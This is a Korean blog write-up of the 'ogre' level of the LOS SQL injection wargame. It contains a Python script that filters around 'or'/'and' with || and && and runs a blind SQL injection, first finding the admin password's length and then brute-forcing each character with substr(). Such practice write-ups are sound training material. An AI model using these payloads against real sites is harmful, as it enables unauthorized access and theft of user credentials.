Web/LOS

LOS - ogre

cloudnaaam 2024. 9. 15. 21:02

7번째 문제 ogre 다.

 

참고로 ogre 는 한글로 하면 오우거 이다.

몰라서 구글링해봤다.

 

여튼

 

이번에는 or and 를 필터링하며 admin의 pw를 찾아야 한다.

 

이전 문제에서 했던 것처럼 || &&를 잘 이용해주도록 하자.

 

import requests
import string

sess = '세션값'
pl = 0
password = ''
words = list(string.ascii_letters + string.digits + string.punctuation)

for i in range(1,50):
    r = requests.get(url, params={'pw':f"' || id='admin' && length(pw)={i};-- -"}, cookies={'PHPSESSID':sess})
    # print(r.text)
    if '<br><h2>Hello admin' in r.text:
        print(i)
        pl = i

for i in range(1,pl+1):
    for j in words:
        r = requests.get(url, params={'pw':f"' || id='admin' && substr(pw,{i},1)='{j}';-- -"}, cookies={'PHPSESSID':sess})
        if '<br><h2>Hello admin' in r.text:
            print(f'{i} --> {j}')
            password += j

print(password)

 

or 이 정규표현식으로 필터링 되어 있어서 ord() 함수를 못쓴다.

때문에 나는 모든 문자를 가지고 brute force 해서 찾았다.

풀었다!

'Web > LOS' 카테고리의 다른 글

LOS - vampire  (0) 2024.09.17
LOS - troll  (1) 2024.09.17
LOS - darkelf  (0) 2024.09.15
LOS - wolfman  (0) 2024.09.15
LOS - ORC  (1) 2024.09.15